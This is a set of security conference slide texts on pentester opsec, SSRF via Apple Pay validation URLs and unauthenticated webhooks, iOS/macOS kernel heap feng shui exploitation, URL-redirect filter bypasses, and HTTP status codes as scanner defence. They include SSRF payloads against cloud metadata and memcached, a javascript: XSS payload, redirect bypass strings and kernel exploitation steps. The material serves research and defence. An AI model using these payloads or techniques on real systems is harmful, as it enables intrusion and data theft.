 Forensics, Cyber Operations • @McGrewSecurity [email protected] What we’re talking about today… • Operational Security for Penetration Testers
 (whilst trying to not rip off The Grugq) • Communication and Data Security Issues
 (not just “bugs”) • Illustrating and Classifying Risks Posed by Your Tools • Recommendations • For penetration testers and those who hunt them… Previously… Previously… Previously… @IHuntPineapples Awareness/Understanding of Risk/Vulnerabilities Value of Pen Testing Data Counter-Intuitive • Penetration testers, presumed experts of offense, largely aren’t mindful of their own security. • Reasons • Training - Classes, books, certifications • Toolchain maturity • Lack of documented incidents When we lack the capability to understand our tools, we operate at the mercy of those
 that do. Assumptions Regarding Realistic Attacks • An attacker may operate with sophistication, skill, and resources that exceed that of the targeted pentester • (Maybe this work can repair the imbalance) • May be positioned physically/network-wise convenient for interception and modification of traffic • MiTM may not be feasible for general skiddie schemes, but makes sense in this context Goals • Victimology: Is the ultimate target… • The penetration tester? • Firm information used for fraud • Sabotage • Embarrassing leak (zf0-esque) • The client(s)? • Sensitive information • Vulnerabilities • Persistence Why this is attractive • Penetration tester exist outside of the client’s culture/structure • …yet wind up with extensive access • …break technical/policy measures, by definition • …already ought to look like good attackers, why not ride along? • Theft of tools and techniques (if they’re any good) • Private exploits, feeds, commercial tools • Hide bugs from testers, prevent identification/remediation • Smoke screen Operational Security Issues • Standalone Exploits’ Payloads • Rarely annotated, testers frequently not trained in disassembly/ comprehension • Frequently acquired in desperation, wielded without discretion • Each encoded string and payload represents a part of the exploit’s code that the penetration tester must either fully understand or place trust in by association with its source. • Trust decision forced by he lack of training and skill in programming, vulnerability analysis, and exploit development among penetration penetration testers. Operational Security Issues • From an early draft • “Many websites where exploits are distributed, including the popular Exploit Database, operate over plaintext HTTP, which would allow an attacker in the right position to man-in-the- middle rewrite or replace exploit code being downloaded by penetration testers.” • This is no longer true for exploit-db.com! Kudos! Operational Security? • Exploitation • How to compromise a system, without “everyone” knowing how you compromised the system? • How to prevent them from modifying your payload? • Tunnelling to dropped/installed appliances to reduce exposure? Metasploit, 
 The Gold Standard • Most versatile free payload: Meterpreter • Supports encryption since 2009 • Primarily for evasion? • How to establish keys, secure communication against an attacker who gets involved EARLY in the process? Extending the Network • Low-power physical implants • Rogue WiFi • Cellular Data • SMS • Are out-of-band extensions opening up attack surface/ intercept opportunities? Data at Rest • Exfiltrated data, information for reports… what are you storing? • Where is it located? • Implanted devices? Physically secure? • Data encrypted? If volume-based, how much time does it spend unlocked? • Where are the keys? Who has access? • Secure deletion? When? Point of Contact Communications • Communications • Scoping • Emergency contacts during tests • Report delivery Classifying Tool Safety • Dangerous - May cause vulnerability. Known vulnerabilities, or communications clearly subject to interception/modification • Use With Care - Defaults that lead to Dangerous situation, but can be configured in a way that mitigates risk • Naturally safe - Defaults to secure communications, safe for normal use cases • Assistive - Non-penetration-testing attack tools, but can be utilized to help with concerns above • Imperfect: Ex. so few pentesting tools protect saved results, it isn’t even considered here Example: Tools in Kali Tool Classification Rationale BeEF Dangerous Default pen tester interface is HTTP listening for connections from anywhere, with a default username and password. Recommend at least configuring/firewalling it to only listen on the localhost (or specific remote ones), changing passwords in the config file. Hooked clients communicate with the server via unencrypted HTTP, which may be unavoidable. This is incredibly useful software, though, just be very careful with where it’s deployed and where the hooked clients are. sqlninja Use With Care Interacts with the target database over a vulnerable web application, so communications-wise you’re at the mercy of the target application being accessible over HTTPS. Be mindful of where you launch this from when targeting HTTP-only apps. dirbuster Use With Care This classification could be valid for nearly any scanning software. If pointed at unencrypted services (in this case, HTTP), then your findings are essentially shared with anyone listening in. searchploit Assistive By providing a mechanism for searching a local copy of the Offensive Security Exploit Database acquired as a secure package that would otherwise be accessed through the non-HTTPS exploit- db.com, this tool provides a set of standalone exploits that have gone through at least some vetting. Metasploit exploitation with Meterpreter payload Use With Care Metasploit has a lot of functionality, but specifically for launching an exploit and deploying a meterpreter payload, the communication channel is fairly safe. An attacker may be able to observe and conduct the same attack, though. SET with Meterpreter payload Use With Care Similar rationale as Metasploit. The resulting channel is safe, unless you are hijacked on the way there. cymotha Dangerous None of the provided injectable backdoors offer encryption. Could potentially modify this to include some more robust backdoors, or use the “script execution” backdoor to configure an encrypted channel. nc Dangerous Good old vanilla netcat, like your favorite book/trainer taught you, gives you nothing for communications security. ncat Naturally Safe Netcat, but with SSL support that one can use. You’ll need to set up certificates for it. Security of Implantable Devices • Pwnie Express Pwn Plug 1.1.2 • Pwn the Pwn Plug - DEF CON 23 • Crafted packet > XSS > CSRF > Command Injection • Hak5 WiFi Pineapple Mark V <2.0.0 • Authentication bypass • Recent improvements • Clone devices: WORSE • Inherent problems with low-powered penetration testing devices New Pineapple Stuff Come to the talk. • Check six. • Test tools and exploits before operational use • Be aware of exposed information • Know the network environment between you and the target. Minimize it. Recommendations • Take care when extending networks • Keep client data, at rest & in transit, encrypted • Secure archiving, deletion between engagements • Secure communication with client Recommendations • Stay Alert! • Training, Education, Instruction • Paint a more realistic picture (or any picture at all) of the network environment between the attacker and the target • Post-exploitation focus on establishing secure command and control, exfiltration Recommendations Contributions? Hopes and Dreams? • Reduced client exposure • Improved tools and training • Maturity and advancement of penetration testing as a profession • (I’m not holding my breath but maybe you could give it a shot) Questions? I’ll be around. (or, contact Wesley) [email protected] @mcgrewsecurity
pdf
API-Induced SSRF How Apple Pay Scattered Vulnerabilities Across the Web About me ● Math degree ● Web developer, ~5 years ● Bounties ● At PKC ~1 year, web dev and code audits for clients - pkc.io Intro Overview ● Definitions ● Demo some mistakes ○ Apple Pay ○ Twilio ○ Others ● How not to be like Apple Intro Diagram of Inductive Weaknesses Weak Code (e.g. Heartbleed) Vulnerable Deployment Vulnerable Deployment ... Typical Class Breaks See Schneier’s blog post Diagram of Inductive Weaknesses ??? Weak Code Weak Code Vulnerable Deployment Vulnerable Deployment ... ... Diagram of Inductive Weaknesses Inductive Weakness Weak Code Weak Code Vulnerable Deployment Vulnerable Deployment ... ... Inductive weakness: A design flaw that encourages multiple parties to write vulnerable code with a similar exploit pattern across differing software stacks. Definitions Image SSRF Refresher Definitions: SSRF 169.254.169.254 Payload with http://169.254.169.254/foo Definitions: SSRF GET /foo 169.254.169.254 Payload with http://169.254.169.254/foo Definitions: SSRF GET /foo sensitive data sensitive data 169.254.169.254 Payload with http://169.254.169.254/foo Definitions: SSRF If you can relay requests through a GCP or AWS box... Easy things to do with SSRF ● AWS, GCP have a gooey center ○ People have already criticized AWS/GCP for this ● file:/// urls ● Reflected XSS ○ Technically not SSRF Definitions: SSRF SSRF: Hard mode ● Cross-protocol stuff ○ SMTP through gopher:// URLs ○ HTTP->memcached->RCE ■ See A New Era of SSRF ○ ??? Definitions: SSRF Apple Pay Web Inductive SSRF Apple Pay: 3 forms Apple Pay In-store In-app Web these are unaffected Apple Pay In-store In-app Web criticising this The intended flow ● Safari generates a validationURL (https://apple-pay-gateway-*.apple.com) Apple Pay The intended flow ● Safari generates a validationURL (https://apple-pay-gateway-*.apple.com) ● Your JS sends validationURL to your backend Apple Pay The intended flow ● Safari generates a validationURL (https://apple-pay-gateway-*.apple.com) ● Your JS sends validationURL to your backend ● Your backend grabs a session from validationURL and forwards it to the client Apple Pay Apple Pay session session apple-pay-gateway.apple.com validationURL https://apple-pay-gateway.apple.com /paymentservices/paymentSession merchant Apple Pay GET /foo sensitive data sensitive data 169.254.169.254 validationURL https://169.254.169.254/foo Demos appr-wrapper ● Under GoogleChromeLabs on github ● Written, deployed by an @google.com account ● A sort of polyfill between Apple Pay and the PaymentRequest API ● A test deployment, so low severity target Apple Pay webkit.org ● Maintained by Apple ● Another demo, but on a higher-severity target Apple Pay Apple Pay Diagram of Apple Pay, like the SSRF one Apple’s response Just added this Disclosure timeline ● Feb 11, Initial email to Apple ● March 26, Apple updated docs ● May 14, Apple concluded investigation. I replied with follow-up questions. ● … Then Apple ghosted for 2 months :( Apple Pay Apple Pay Diagram of Apple Pay, like the SSRF one One mitigation... Apple Pay Diagram of Apple Pay, like the SSRF one General mitigations Apple Pay ● Check validationURL against Apple’s list ● Stripe and Braintree handle this flow, so you’re safe if you use them Apple Pay Diagram of Apple Pay, like the SSRF one General mitigations SSRF in general ● Whitelist egress traffic ● Protect your metadata like Netflix: Detecting Credential Compromise in AWS ● Be mindful of local, unauthenticated stuff on servers Apple Pay Diagram of Apple Pay, like the SSRF one Ineffective mitigations Do not: ● Use a regex to validate the domain ○ Sometimes people try a regex like https?://.*.apple.com/.* ○ But that matches: http://localhost/?.apple.com/... ● Rely on HTTPS to prevent cross-protocol attacks ○ See slide 16 of A New Era of SSRF Webhooks Previous webhook exploits Webhooks Payload would go here ● http://169.254.169.254 ● gopher://localhost:11211/... Diagram of Inductive Weaknesses Webhook sender Listener Listener ... Most attack this I’m after these How Twilio Authenticates Webhooks Webhooks ● HMAC and hope the listener checks it ● Lots of webhooks do this, Twilio’s not unique The problem Webhooks ● Who failed to check the HMAC? ○ 23 out of 31 open-source projects The problem Webhooks ● Who failed to check the HMAC? ○ 23 out of 31 open-source projects ○ Most of Twilio’s example code The problem Webhooks ● Who failed to check the HMAC? ○ 23 out of 31 open-source projects ○ Most of Twilio’s example code ● Contributing factors ○ Bad documentation ○ The easiest receiver implementation is a vulnerability Demo: Webhooks Twilio Example Code ● Examples themselves not deployed publicly ● But, did find vulns where it was copied/pasted Apple Pay Disclosure timeline ● Feb 17, Initial email to Twilio ● March 6, Twilio updated some of the docs ● Rejected all architectural changes due to “unforeseen issues” Webhooks Webhooks What about nexmo? Source Webhooks What about nexmo? Source Webhooks { "object_kind": "push", "commits": [{ "message": "Initial commit of foo project", "url": "https://...", ... }], "repository": { "url": "[email protected]/something.git", ... }, ... } Gitlab webhooks: the happy path Webhooks What did I do? ● Found a server that was receiving gitlab webhooks ○ On the open internet ○ Was the trigger of build pipelines for multiple tenants... Webhooks { "object_kind": "push", "commits": [{ "message": "Initial commit of foo project", "url": "https://...", ... }], "repository": { "url": "[email protected]/something.git", ... }, ... } Gitlab webhooks: what I did Put the tenant’s gitlab url here Webhooks { "object_kind": "push", "commits": [{ "message": "Click here to do something! :D", "url": "javascript:alert('XSS on: ' + window.origin);", ... }], "repository": { "url": "[email protected]/something.git", ... }, ... } Gitlab webhooks: what I did Webhooks What are some better ways to send webhooks? ● For crypto nerds: authenticated cipher ○ E.g. AES-GCM ○ Still symmetrical like an HMAC ○ Forces webhook consumers to decrypt, so they’ll accidentally verify the GCM tag you send them Webhooks What are some better ways to send webhooks? ● More practical: only send high-entropy, cryptographically random event IDs ○ Webhook consumer has to fetch /items/?id=<id> with their API token ○ Plaid does roughly this Webhooks What are some better ways to send webhooks? ● For existing webhooks: test & warn ○ During registration, do 2 test requests: ■ 1 valid MAC ■ 1 invalid MAC ○ Warn if they get the same response code What else? Salesforce Objects vs Dynamodb Both: ● NoSQL-like object storage ● REST APIs with custom SQL-like queries /?q=SELECT+id+from+Foo+WHERE+name+LIKE+'...' Salesforce SOQL Inject here Salesforce SOQL Source POST / HTTP/1.1 { "TableName": "ProductCatalog", "KeyConditionExpression": "Price <= :p", "ExpressionAttributeValues": { ":p": {"N": "500"}, }, } Dynamodb: Better Enforced Parametrization Closing Thoughts From Apple after two months of silence “Developers are responsible for implementing whatever security and networking best practices make the most sense for their environment.” Apple Pay “If you’ve built a chaos factory, you can’t dodge responsibility for the chaos.” Tim Cook, Apple CEO Closing Thoughts Source Financial ● Low-hanging bounty fruit ● Embarrassment ● High-interest tech debt Closing Thoughts Designing defensive APIs ● Audit your example code ● Be careful about passing around URLs ● If “Do this or you’re vulnerable!” is in your documentation, try to make the warning unnecessary Closing Thoughts Acknowledgments ● Jonathan Ming at PKC - asked the initial questions about Apple Pay ● Arte Ebrahimi at PKC - pointed me to the Nexmo stuff ● Ken Kantzer at PKC - helped with the presentation ● Andrew Crocker at EFF - legal assistance Closing Thoughts Thank you! www.pkc.io
pdf
macOS/iOS Kernel Debugging and Heap Feng Shui Min(Spark) Zheng @ Alibaba Mobile Security Outline Alibaba Security • Introduction • macOS Two Machine Debugging • iOS Kernel Debugging • Debugging Mach_voucher Heap Overflow • Traditional Heap Feng Shui • Port Feng Shui • Conclusion Whoami • Min(Spark) Zheng @ Twitter,蒸米spark @ Weibo • Security Expert @ Alibaba • CUHK PhD, Blue-lotus and Insight-labs • Worked in FireEye, Baidu and Tencent • Focus on Android / iOS system security Alibaba Security • Co-author: Xiangyu Liu, Security Engineer @ Alibaba • Special thanks to: yang dian, aimin pan, jingle, qwertyoruiop, windknown, liangchen, qoobee, etc. Introduction of macOS/iOS Kernel • XNU is the computer operating system kernel developed at Apple Inc. for use in the iOS/macOS operating system and released as free and open-source software as part of the Darwin operating system. XNU is an abbreviation of X is Not Unix. • XNU for macOS is open source. It can be compiled and debugged. • XNU for iOS is not open source. It can not be compiled and debugged (officially). But most of implementation is same as macOS. Alibaba Security Outline Alibaba Security • Introduction • macOS Two Machine Debugging • iOS Kernel Debugging • Debugging Mach_voucher Heap Overflow • Traditional Heap Feng Shui • Port Feng Shui • Conclusion Two-machine Debugging of macOS • To do a good job, one must first sharpen one's tools. • Machine: two MacBook or one MacBook with VM (The system versions can be different). • Equipments for two-machine debugging: Thunderbolt to FireWire * 2, Belkin FireWire 800 9/9-Pin cable * 1, Thunderbolt 3 (USB-C) to Thunderbolt 2 * 2 for new 2016 MacBook. Alibaba Security Two-machine Debugging of macOS • Two MacBook needs to install KDK (Kernel Debug Kit). • After connection with FireWare cable, execute “fwkdp” on the host MacBook. • Copy the kernel.development of KDK to the “System/Library/Kernels/” folder on the debug MacBook and then execute the following command: sudo nvram boot-args =“debug=0x147 kdp_match_name=firewire fwkdp=0x8000 kcsuffix=development pmuflags=1 -v keepsyms=1” sudo kextcache -invalidate / sudo reboot Alibaba Security Two-machine Debugging of macOS • After the debugger MacBook reboot,the host MacBook can start debug with “lldb,kdp-remote localhost” command. • We could use “image list” command to get the kernel addresses of partial kexts: Alibaba Security Two-machine Debugging of macOS Alibaba Security • We could use “x/nx” command to get the data in the kernel: • 1. Comparing with kernelCache + kslide, we could use b *address to set a break point in the kernel. kernel: Two-machine Debugging of macOS Alibaba Security • 2. We could pause the debugging machine immediately through: • 3. We could set breakpoints in the XNU source code through (“int $3”) and print kernel information through printf(). command+alt+control+shift+esc (all at once) XNU Source Code Console Two-machine Debugging of macOS Alibaba Security • Using “command script import” command, we could load python script of lldb to get more useful information. Two-machine Debugging of macOS Alibaba Security • Using “showallkexts” command, we could get the kernel addresses of all kexts: • Other lldb python commands and implementations could be found at: /Library/Developer/KDKs/XXX/System/Library/Kernels/kernel.development.dSYM/Contents/ Resources/Python/. Outline Alibaba Security • Introduction • macOS Two Machine Debugging • iOS Kernel Debugging • Debugging Mach_voucher Heap Overflow • Traditional Heap Feng Shui • Port Feng Shui • Conclusion iOS Kernel Debugging – Kernelcache Alibaba Security • Before iOS 10, the kernelcaches were encrypted. Some keys could be found at: https://www.theiphonewiki.com/wiki/Firmware_Keys/9.x • After iOS 10, there is no encryption for kernelcaches. We could unzip and decode the kernel using img4tool: • And extract kernel information through joker and ida: iOS Kernel Debugging – Task_for_pid Alibaba Security • Although iOS doesn’t have KDK,we could use task_for_pid() to do arbitrary kernel memory read/write: • If there is no jailbreak or no task_for_pid () patch, what should we do? iOS Kernel Debugging – Kernel Slide Alibaba Security • After getting kernel task, we could figure out the kernel text base and slide, in arm32 it’s easy: • In arm64, it’s non-trivial. First, we need to create an OSObjects in the kernel. Then, we found its vtable pointer which points to the kernel's base region. Last but not least, we search backwards from the vtable address until we find the kernel header (code refers to Siguza’s ios-kern-utils): iOS Kernel Debugging – Root and Port Address Alibaba Security • After getting the kslide, we can read and write kernel data to get root privilege (refers to luca’s yalu): • Using offset + kernel slide, we could find the kernel objects addresses of related ports in the memory (port -> kernel address) (refers to ianbeer’s mach_portal): Outline Alibaba Security • Introduction • macOS Two Machine Debugging • iOS Kernel Debugging • Debugging Mach_voucher Heap Overflow • Traditional Heap Feng Shui • Port Feng Shui • Conclusion Mach_voucher Heap Overflow Alibaba Security Vulnerable code Fixed code • Mach_voucher_extract_attr_recipe_trap() is a mach trap which can be called inside the sandbox. It's a new function added in iOS 10 and macOS 10.12. But, it has a terrible vulnerability. • The function then uses the sz value to allocate a memory block on the kernel heap. However, the developer forgot args->recipe_size was a user mode pointer and then used it as a size value in copyin(). We know that user mode pointer could be larger than the sz value which will cause a buffer overflow in kernel heap. Mach_voucher Heap Overflow Debugging Alibaba Security • If we want to debug the heap overflow scene, we could set the breakpoint at 0xffffff8014631540 and 0xffffff8014631545 (before and after copyio). Mach_voucher Heap Overflow Debugging Alibaba Security • Before heap overflow • After heap overflow Outline • Introduction • macOS Two Machine Debugging • iOS Kernel Debugging • Debugging Mach_voucher Heap Overflow • Traditional Heap Feng Shui • Port Feng Shui • Conclusion Alibaba Security iOS 10 Traditional Heap Feng Shui Alibaba Security • In iOS 10 and macOS 10.12, Apple added a new mitigation mechanism to check the freeing into the wrong zone attack, so we cannot use the classic vm_map_copy (changing vm_map_size) technique to do heap feng shui. • Ian Beer from GP0 proposed a new kind of heap feng shui using prealloc mach_port. The basic idea is using mach_port_allocate_full() to alloc ipc_kmsg objects in the kernel memory. This object contains a size field which can be corrupted without having to fully corrupt any pointers. iOS 10 Traditional Heap Feng Shui Alibaba Security • Using exception port, we could send and receive data to the kernel memory. The data will not be freed after receiving. • The data used to send and receive is the register values of the crashed thread. Therefore, the attacker needs to create a thread and set the register values to the data he wants to send. Then he triggers the crash of the thread. The data will be sent to: address of ipc_kmsg object + ikm_size – 0x104 iOS 10 Kernel Debugging Alibaba Security • So why the number is 0x104? • Using iOS kernel debugging we could get the address of prealloc_port_buffer in the memory. Then, we trigger the exception and send the user mode data to the kernel. After that, we can use kernel debugging again to inspect the data of the buffer: • We can find the location of the data in the buffer is 0xd3c, and because we set the value of ikm_size to 0xe40, so we can get: 0xe40 – 0xd3c = 0x104. iOS 10 Traditional Heap Feng Shui • The attacker first allocates 2000 prealloc ports (each port is 0x900 size) to insure the following ports (holder, first_port, second_port) are continuous. • Then the attacker could get the following layout (page size 0x1000): kalloc.4096 kalloc.4096 kalloc.4096 holder first_port second_port Alibaba Security iOS 10 Traditional Heap Feng Shui • The attacker frees the holder,and then uses the vulnerability to overflow the first 0x40 bytes of the first_port. It contains the ikm_size and other fields of ipc_kmsg object. • Note that,if the attacker uses expction msg,the data sent to the prealloc port will be located at: the kernel address of ipc_kmsg object + ikm_size - 0x104. With simple calculation, we can get: first_port_addr + 0x1104 – 0x104 = second_port_addr Therefore, we could use the first_port to read and write the content of the second_port. kalloc.4096 kalloc.4096 kalloc.4096 holder first_port second_port 0x40 Alibaba Security iOS 10 Traditional Heap Feng Shui • For the heap information leak, the attacker uses the exception msg to change the header of the second_port through the first_port. The data only gets the second_port a valid header. • The second_port has a valid header. So after sending the message to the second port, ikm_next and ikm_prev will be set to point to itself. After that, the attacker can receive the content of the first port to get the address of the second_port: kalloc.4096 kalloc.4096 kalloc.4096 holder first_port second_port 0x40 0x40 Debug info Alibaba Security iOS 10 Traditional Heap Feng Shui kalloc.4096 kalloc.4096 kalloc.4096 holder first_port second_port 0x40 0x40 kalloc.4096 kalloc.4096 kalloc.4096 holder first_port userclient 0x40 0x100 read free • After getting the heap address, the attacker should use the first_port to reset the second port. Then, he can safely free the second port. After freeing the second_port, the attacker can alloc an AGXCommandQueue UserClient(0xdb8 size) to hold the spot of the second_port. Alibaba Security Leak Kslide Using Heap Feng Shui • After getting the message of the first_port,the attacker could get the data of AGXCommandQueue UserClient. The first 8 bytes of data is the vtable of UserClient. Comparing the dynamic vtable address with the vtable in the kernelcache,the attacker can figure out the kslide. • kslide = 0xFFFFFFF022b9B450 – 0xFFFFFFF006F9B450 = 0x1BC00000 Alibaba Security Arbitrary Kernel Memory Read and Write • The attacker first uses OSSerialize to create a ROP which invokes uuid_copy. In this way, the attacker could copy the data at arbitrary address to the address at kernel_buffer_base + 0x48 and then use the first_port to get the data back to user mode. • If the attacker reverse X0 and X1, he could get arbitrary kernel memory write. X0=[X0,#0x10] = kernel_buffer_base+0x48 X1=address X3=kernel_uuid_copy BR X3 Alibaba Security Arbitrary Kernel Memory Read and Write • If the attacker calls IOConnectGetService(Client_port) method, the method will invoke getMetaClass(),retain() and release() method of the Client. • Therefore, the attacker can send a fake vtable data of AGXCommandQueue UserClient to the kernel through the first_port and then use IOConnectGetService() to trigger the ROP chain. • After getting arbitrary kernel memory read and write, the next step is kernel patch. The latest kernel patch technique could be referred to yalu 102. • Note that traditional heap feng shui only has a 50% successful rate. Alibaba Security Outline • Introduction • macOS Two Machine Debugging • iOS Kernel Debugging • Debugging Mach_voucher Heap Overflow • Traditional Heap Feng Shui • Port Feng Shui • Conclusion Alibaba Security iOS 10 Port Feng Shui • Mach msg is the most frequently used IPC mechanism in XNU. Through the “complicated message” of MACH_MSG_OOL_PORTS_DESCRIPTOR msg_type, we can transmit out-of-line ports to the kernel. MACH_PORT_DEAD = 0xffffffffffffffff Alibaba Security iOS 10 Port Feng Shui • The ool ports saved in mach msg are ipc_object pointers and the pointer can point to a user mode address. • we can overflow those pointers and modify one ipc_object pointer to point to a fake ipc_object in user mode. We could create a fake task in user mode for the fake port as well. 0x100 fake ipc_object (port) fake_task 0x100 0x100 ports ports User mode Kernel mode 0x8 HID heap overflow Alibaba Security iOS 10 Port Feng Shui • We send lots of ool ports messages to the kernel to insure the new allocated blocks are continuous. • We receive some messages in the middle to dig some slots. • We send some messages again to make the overflow point at the middle of the slots. • We use HID vulnerability to trigger the heap overflow at the overflow point. Alibaba Security iOS 10 Port Feng Shui • Then we set io_bits of the fake ipc_object to IKOT_TASK and craft a fake task for the fake port. By setting the value at the faketask+0x360, we could read arbitrary 32 bits kernel memory through pid_for_task(). fake port faketask Alibaba Security iOS 10 Port Feng Shui • That’s amazing because the function doesn’t check the validity of the task, and just return the value of *(*(faketask + 0x380) + 0x10). Alibaba Security iOS 10 Port Feng Shui • We dump kernel ipc_object and kernel task to our fake ipc_object and fake task. • By using task_get_special_port() to our fake ipc_object and task, we could get the kernel task port. • Kernel task port can be used to do arbitrary kernel memory read and write. fake ipc_object faketask kernel ipc_object kernel task pid=0 DUMP kernel task port task_get_special_port() mach_vm_ read() mach_vm_ write() Alibaba Security Outline • Introduction • macOS Two Machine Debugging • iOS Kernel Debugging • Debugging Mach_voucher Heap Overflow • Traditional Heap Feng Shui • Port Feng Shui • Conclusion Alibaba Security Conclusion • macOS/iOS kernel debugging: it is very useful for kernel exploit development. • Traditional heap feng shui: it needs ROP chains to do kernel memory read and write. It’s not stable and needs multiple feng shui. • Port heap feng shui: it does not need ROP and only uses data structure. It’s stable with a high successful rate. But it’s easy for apple to fix it. • Reference: 1. Yalu 102: https://github.com/kpwn/yalu102 2. Mach_voucher bug report: https://bugs.chromium.org/p/project- zero/issues/detail?id=1004 3. iOS Kernel Utilities: https://github.com/Siguza/ios-kern-utils Alibaba Security Thanks
pdf
URL跳转奇葩姿势详解 JutaZ 目 录 CONTENT 1 关于我 5 衍生危害 2 URL的标准形式 3 绕过及FUZZ 4 其他跳转方式 一个新手 1 关于我 2 URL的标准形式 scheme://user:password@domain:port/path?query_string#fragments ① 方案名 ② 验证信息 ③ 主机名 ④ 端口号 ⑤ 路径 ⑥ 查询字符串 ⑦ 片段字串 引自《白帽子讲浏览器安全》 3 绕过及FUZZ 实现 test.a.com 跳转到 b.com 限制:仅允许跳转至*.a.com • a.com.b.com • a.comb.com • b.coma.com • a.com:[email protected] • b.com?a.com • b.com#a.com 3 绕过及FUZZ a. 个性化字典 URLENCODE 字符绕过字典 其他可信域名 等等 b. 其他尝试 CRLF漏洞 反射xss 其他猥琐姿势 4 其他跳转方式 乌云案例一 代码逻辑缺陷 乌云案例二 第三方插件缺陷 4 其他跳转方式 乌云案例三 隐藏极深的跳转 4 其他跳转方式 5 衍生危害 衍生危害一 跳转时传递了cookie等数据 BY:呆子不开口 衍生危害二 客户端伪协议 BY:呆子不开口 5 衍生危害
pdf
Defense  by  Numb3r5 Making  problems  for  script  k1dd13s and  scanner  monkeys @ChrisJohnRiley “THE  WISEST  MAN,  IS  HE WHO  KNOWS,  THAT  HE KNOWS  NOTHING” SOCRATES:  APOLOGY,  21D TL  ;DR Goals  for  this  talk Describe  the defensive  uses  of HTTP  status  codes 1)  What 2)  Why 3)  How 4)  Goals 5)  Bringing  it  together 6)  Review #1 ] [  WHAT ? HTTP  STATUS  CODES Seems  like  such  a Small  detail …  small  detail, big  impact This  talk  contains:  - Numbers - Bad Jokes - Traces of peanuts - Did I mention numbers? HTTP  Status  Codes §  Majority  part  of  RFC  2616  (HTTP/1.1) §  5  main  classes  of  response §  1XX  informaOonal §  2XX  success §  3XX  redirecOon §  4XX  client  error §  5XX  server  error HTTP  Status  Codes §  Proposed  RFC*  for  7XX  codes §  Examples: §  701  Meh §  719  I  am  not  a  teapot §  721  Known  unknowns §  722  Unknown  unknowns §  732  Fucking  Unic☐de *  h]ps://github.com/joho/7XX-­‐rfc BASICS AKA:  THE  BORING  THEORY  BIT #1.1 1XX  Informaeonal §  Indicates  response  received §  Processing  is  not  yet  completed §  100  Conenue §  101  Switching  Protocols §  102  Processing  (WebDAV  RFC  2518) 2XX  Success §  Indicates  response  received §  Processed  and  understood §  200  OK §  201  Created §  202  Accepted §  203  Non-­‐Authoritaeve  Informaeon §  204  No  Content 2XX  Success  (cont.) §  205  Reset  Content §  206  Pareal  Content §  207  Mule-­‐Status  (WebDAV  RFC  4918) Codes  not  supported  by  Apache §  208  Already  Reported §  226  IM  Used §  250  Low  on  Storage  Space 3XX  Redireceon §  Aceon  required  to  complete  request §  300  Muleple  Choices §  301  Moved  Permanently §  302  Found  /  Moved  Temporarily §  303  See  Other §  304  Not  Modified 3XX  Redireceon  (cont.) §  305  Use  Proxy §  306  Switch  Proxy §  307  Temporary  Redirect Codes  not  supported  by  Apache §  308  Permanent  Redirect 4XX  Client  Error §  Client  caused  an  error §  400  Bad  Request §  401  Unauthorized §  402  Payment  Required §  403  Forbidden §  404  Not  Found §  405  Method  Not  Allowed 4XX  Client  Error  (cont.) §  406  Not  Accessible §  407  Proxy  Authenecaeon  Required §  408  Request  Timeout §  409  Conflict §  410  Gone §  411  Length  Required 4XX  Client  Error  (cont.) §  412  Precondieon  Failed §  413  Request  Enety  Too  Large §  414  Request-­‐URI  Too  Long §  415  Unsupported  Media  Type §  416  Request  Range  Not  Saesfiable §  417  Expectaeon  Failed §  418  I’m  a  Teapot  (WebDAV  RFC  2324) 4XX  Client  Error  (cont.) §  419  /  420  /  421  Unused §  422  Unprocessable  Enety  (RFC  4918) §  423  Locked  (RFC  4918) §  424  Failed  Dependency  (RFC  4918) §  425  No  Code  /  Unordered  Colleceon §  426  Upgrade  Required  (RFC  2817) 4XX  Client  Error  (cont.) Codes  not  supported  by  Apache §  428  Precondieon  Required §  429  Too  Many  Requests §  431  Request  Header  Fields  Too  Large §  444  No  Response  (NGINX) §  449  Retry  With  (Microsoo) §  450  Blocked  by  Win.  Parental  Controls §  451  Unavailable  For  Legal  Reasons §  494  Request  Header  Too  Large  (NGINX) §  495  Cert  Error  (NGINX) §  496  No  Cert  (NGINX) §  497  HTTP  to  HTTPS  (NGINX) §  499  Client  Closed  Request  (NGINX) 5XX  Server  Error §  Server  error  occurred §  500  Internal  Server  Error §  501  Not  Implemented §  502  Bad  Gateway §  503  Service  Unavailable §  504  Gateway  Timeout §  505  Method  Not  Allowed 5XX  Server  Error  (cont.) §  506  Variant  Also  Negoeates  (RFC  2295) §  507  Insufficient  Storage  (WebDAV  RFC  4918) §  508  Loop  Detected  (WebDAV  RFC  5842) §  509  Bandwidth  Limit  Exceeded  (apache  ext.) §  510  Not  Extended  (RFC  2274) Codes  not  supported  by  Apache §  511  Network  Authenecaeon  Required  (RFC  6585) §  550  Permission  Denied §  598  Network  Read  Timeout  Error  (Microsoo  Proxy) §  599  Network  Conneceon  Timeout  Error  (Microsoo  Proxy) OMG  Enough  with the  numb3rs already!!!! #2 ] [  WHY ? It  started  as  a  simple  idea… ? ? ? …  and  started  to  think SCREW  WITH SCANNERS …  AND  SCRIPT K1DD13S THAT  SOUNDS LIKE  FUN! @thegrugq  26  Feb  2013 @thegrugq  26  Feb  2013 INCREASE ATTACKER  COSTS $ $ $ WASTE ATTACKER  TIME -­‐  When  the  tables  turn  (2004) -­‐  Roelof  Temmingh,  Haroon  Meer,  Charl  van  der  Walt -­‐  h]p://slideshare.net/sensepost/strikeback -­‐  Stopping  Automated  A]ack  Tools  (2006) -­‐  Gunter  Ollmann -­‐  h]p://www.technicalinfo.net/papers/ StoppingAutomatedA]ackTools.html Prior  Art -­‐  mod-­‐security  mailing  list  (2006) -­‐  Status  Code  503  together  with  Retry-­‐Aoer  header -­‐  Ryan  BarneW -­‐  h]p://bb10.com/apache-­‐mod-­‐security-­‐user/ 2006-­‐12/msg00042.html Prior  Art SecFilterDefaultAceon  "deny,log,status:503" SecFilter  ".*" Header  set  Retry-­‐Aoer  "120" #3 ] [  HOW ? BROWSERS  HAVE TO  BE  FLEXIBLE THIS  LEADS  TO INTERPRETATION …  which  leads  to  the  dark-­‐side RFCS… THEY’RE  MORE  OF  A GUIDELINE  REALLY WHAT COULD POSSIBLY GO WRONG! TESTING THE  HOW  OF  THE  THING! #3.1 §  Restricted  research  to  the  big  3 §  Internet  Explorer §  Chrome  /  Chromium §  Firefox NO…  SAFARI  ISN’T IN  THE  TOP  10  3 OPERA  JUMPED… …or  was  it  pushed! LYNX THE  UNREALISTIC  OPTION §  MITMproxy  /  MITMdump §  Python-­‐based §  Simple  to  setup  proxy  /  reverse  proxy §  Script-­‐based  aceons §  PHP §  Ability  to  set  response  code §  Must  be  at  the  top  of  the  PHP  code §  Can  be  added  to  php.ini §  